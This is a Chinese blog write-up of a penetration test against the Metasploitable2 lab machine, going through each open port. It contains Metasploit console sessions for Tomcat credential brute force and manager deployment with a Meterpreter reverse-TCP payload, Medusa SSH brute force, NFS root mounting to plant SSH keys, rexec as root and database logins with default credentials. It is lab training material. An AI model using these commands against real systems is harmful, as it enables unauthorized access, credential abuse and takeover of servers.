【Metasploitable2】测试记录

Metasploitable2靶机

旨在测试Metasploit

fscan扫描结果

nmap扫描结果

21

根据扫描结果21端口的版本为: vsftpd 2.3.4,直接在msf中搜集

配置号模块之后,run

值得注意的是,在run之后会断在的卡在2这里,这里实际上就以及让受害机开放6200端口了,此时需要立马在
命令行中监听这个端口
1[*] 192.168.243.129:21 - Banner: 220 (vsFTPd 2.3.4)
2[*] 192.168.243.129:21 - USER: 331 Please specify the password.
3[*] Exploit completed, but no session was created.

22

22端口是ssh服务,靶机的ssh有点老,我的kali服务较新,所有msf的ssh爆破模块无法使用
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)

下面是ssh直连的回复
Unable to negotiate with 192.168.243.129 port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss
你的SSH客户端不再支持目标服务器提供的密钥类型(如 ssh-rsa、ssh-dss),因此连接失败。

我们使用medusa工具

medusa -M ssh -h 192.168.243.129 -U path -P path -f

-f 爆破成功立刻停止

ssh链接

ssh -oHostKeyAlgorithms=+ssh-rsa msfadmin@192.168.243.129
用于 SSH 客户端的参数,显式允许使用老旧的 ssh-rsa 主机密钥算法

23

telnet端口

25

25端口作为渗透中信息搜集的重要点位,

  • 主机名(如 metasploitable.localdomain
  • 系统信息(如 Postfix (Ubuntu)
  • 邮件服务器版本号等
  • 用户名枚举
  • 发送邮件

用户名枚举

模块 auxiliary/scanner/smtp/smtp_enum
枚举出的用户 games, msfadmin, nobody, postgres, service, sys, user
可以用来对ssh,telnet等其他进行爆破

53

53端口作为DNS服务器,可以测试DNS枚举,信息搜集,由于Metasploitable2靶机是单独靶机,此次53端口并不作于渗透

80+8180

80端口

80前端页面漏洞过多,另外在开一章节

8180

利用nmap对端口扫描,可以发现8180端口上搭建了apache服务

直接访问该端口,可以看到是apache tomcat的默认页面,在左侧administration选项,有tomcat管理,点击是一个登录页面,直接使用弱口令即可登录

下面使用msf的爆破模块

msf6 exploit(multi/misc/java_rmi_server) > use auxiliary/scanner/http/tomcat_mgr_login 
msf6 auxiliary(scanner/http/tomcat_mgr_login) > show options 

msf6 auxiliary(scanner/http/tomcat_mgr_login) > set rhosts 192.168.243.129
rhosts => 192.168.243.129
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set rport 8180
rport => 8180
msf6 auxiliary(scanner/http/tomcat_mgr_login) > run

[+] 192.168.243.129:8180 - Login Successful: tomcat:tomcat

切换攻击模块

msf6 exploit(multi/http/tomcat_mgr_deploy) > use exploit/multi/http/tomcat_mgr_deploy
[*] Using configured payload java/meterpreter/reverse_tcp
msf6 exploit(multi/http/tomcat_mgr_deploy) > show options 

msf6 exploit(multi/http/tomcat_mgr_deploy) > set RHOST 192.168.243.129
RHOST => 192.168.243.129
msf6 exploit(multi/http/tomcat_mgr_deploy) > set rport 8180
rport => 8180
msf6 exploit(multi/http/tomcat_mgr_deploy) > set HttpUsername tomcat
HttpUsername => tomcat
msf6 exploit(multi/http/tomcat_mgr_deploy) > set HttpPassword tomcat
HttpPassword => tomcat

msf6 exploit(multi/http/tomcat_mgr_deploy) > run

111+2049

111端口挂载的是 rpcbind 服务,2049服务挂载的是nfs服务,111端口告诉客户端:NFS 服务(或其他 RPC 服务)具体在哪个端口上运行,

2049端口挂载nfs服务

rpcinfo -p 192.168.243.129

showmount -e 192.168.243.129

/ 表示整个文件系统根目录被共享
* 表示任何人都可以挂载,这是一个严重的安全隐患

这里翻看了shengc一下攻略,通过本地生成公私钥,将公钥传输到目标机器的.ssh中,实现ssh无密码登录。

首先我们本地生成一对公私钥

ssh-keygen -t rsa -b 2048 -f ~/.ssh/id_rsa_1
#注意,我这里指定了类型和密钥长度,因为我现在这个靶机是ssh版本较老\
kali的ssh版本和靶机的ssh版本不兼容,导致正常的ssh链接和生成密钥之后的无密码链接都会出现问题\
具体情况看ssh的版本信息。

mount -t nfs 192.168.243.129:/ /tmp/r00t 
然后开始将靶机挂载到本地机器的/tmp下的r00t这个目录下,这个r00t目录是自建的
cat ~/.ssh/id_rsa_1.pub > /tmp/r00t/root/.ssh/authorized_keys 
将生成的公钥追加到这个文件authorized_keys
#authorized_keys 就是一个「白名单」——凡是里面列出的公钥,都可以用对应私钥来登录这个账户,不需要输入密码。

chmod 600 /tmp/r00t/root/.ssh/authorized_keys
chmod 700 /tmp/r00t/root/.ssh
chown -R root:root /tmp/r00t/root/.ssh
这些就是给权限,SSH 权限过宽会直接忽略密钥认证

ssh -i ~/.ssh/id_rsa_1 root@192.168.243.129
ssh认证登录
#注意,直接使用ssh登录会导致依旧要输入密码,是因为ssh并没有使用私钥去登录靶机

路径

权限

属主

~/.ssh/

700 (drwx------)

必须属于该用户

~/.ssh/authorized_keys

600 (-rw-------)

必须属于该用户

~/.ssh/id_rsa, id_ed25519(私钥)

600 (-rw-------)

必须属于该用户

~/.ssh/id_rsa.pub, id_ed25519.pub(公钥)

644 (-rw-r--r--)

无特别限制

139+445

139和445端口是常见的网络端口,主要用于文件共享和网络通信。然而,这些端口也容易受到攻击,特别是利用SMB(Server Message Block)协议的漏洞。

使用msf进行端口探测,发现139、445端口开放,该服务当配置为文件权限可写同时"wide links" 被允许(默认就是允许),同样可以被作为后门而不仅仅是文件共享

远程链接只能查看共享文件夹

使用msf后门模块 use auxiliary/admin/smb/samba_symlink_traversal,看到需要添加rhosts IP 和smbshare 共享文件夹

指定完成之后即可输入run开始攻击

结果

512

512、513、514 是 Unix/Linux 系统中早期用于远程管理的标准端口,它们属于 Berkeley r-commands 系列服务(rsh 系列)。
https://technicalagain.com/tag/rsh-client/

名称

端口号

协议

描述

exec

512

TCP

执行远程命令的服务

login

513

TCP

提供远程登录(rlogin)服务

shell

514

TCP

提供 rsh 服务

exec

由于rsh系列(本处指以上协议)过于古老并且危险,早已经被弃用,kali中也仅存rlogin和rsh,并无exec,贴出命令

rexec  192.168.243.129 -l root -p root whoami
通过用户名和密码即可执行命令

rlogin

rsh

1099

Java RMI 是 Java 的远程过程调用(RPC)机制,允许一个 Java 程序调用远程服务器上的对象方法,就像调用本地方法一样。

RMI 通常由两个部分组成:

  1. RMI Registry(注册中心) —— 通常监听在 1099 端口
    • 客户端连接这里,查询对象引用。
  1. 服务端对象的通信端口 —— 是动态分配的(RMI 会返回给客户端用于实际通信)

开放的 Java RMI 服务可能存在以下安全问题

风险点

说明

☠️ 任意反序列化漏洞

RMI 可被利用执行远程 Java 反序列化攻击(如:使用 JRMP)

🚪 未授权访问

若服务未做认证控制,攻击者可远程调用接口甚至获得 shell

📦 远程类加载

某些老版本允许远程类加载(可配合恶意类加载 RCE)

选择msf模块

use multi/misc/java_rmi_server

1524

关于这个端口,回头看nmap的扫描结果

提示我们这个端口上有个root shell,我们直接nc

2121

2121端口挂载Proftpd服务,msf有对应的载荷,unix/ftp/proftpd_modcopy_exec,但是这个模块配置完成之后无法利用,疑似靶机有问题

这个报错可能是因为靶机未启用 mod_copy 或未配置 AllowAll,我去靶机验证之后,并没有proftpd这个组件,应该是靶机有问题

3306

首先扫描出了3306端口的mysql:root用户,直接空密码连接

5432

搜索得知 5432端口为PostgreSQL数据库,直接搜pgsql利用方式, 我们已经得知端口,可以直接爆破

使用msf的pgsql爆破模块

msf6 > use auxiliary/scanner/postgres/postgres_login 
[*] New in Metasploit 6.4 - The CreateSession option within this module can open an interactive session

配置模块所需单位

set RHOSTS 受害IP

爆破后得到数据库的账户密码

登录

8009

nmap扫描结果,Apache Jserv (Protocol v1.3) Tomcat AJP LFI 漏洞

可在 未授权状态 下读取 WEB-INF/ 或任意 web 应用内部文件

https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi/blob/master/CNVD-2020-10487-Tomcat-Ajp-lfi.py

文件名

描述

WEB-INF/web.xml

Web 应用描述文件

WEB-INF/classes/*.properties

配置文件,可能含数据库密码

META-INF/context.xml

数据源定义,可能含数据库或 JNDI 配置

conf/tomcat-users.xml

Tomcat 控制台用户账号

conf/server.xml

Tomcat 核心配置

/etc/passwd

Linux 用户信息(可能无法读取)

参考链接:

Metasploitable2 漏洞评估(应该没人比我写得更详细更全了)_ruby drb rmi漏洞-优快云博客

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值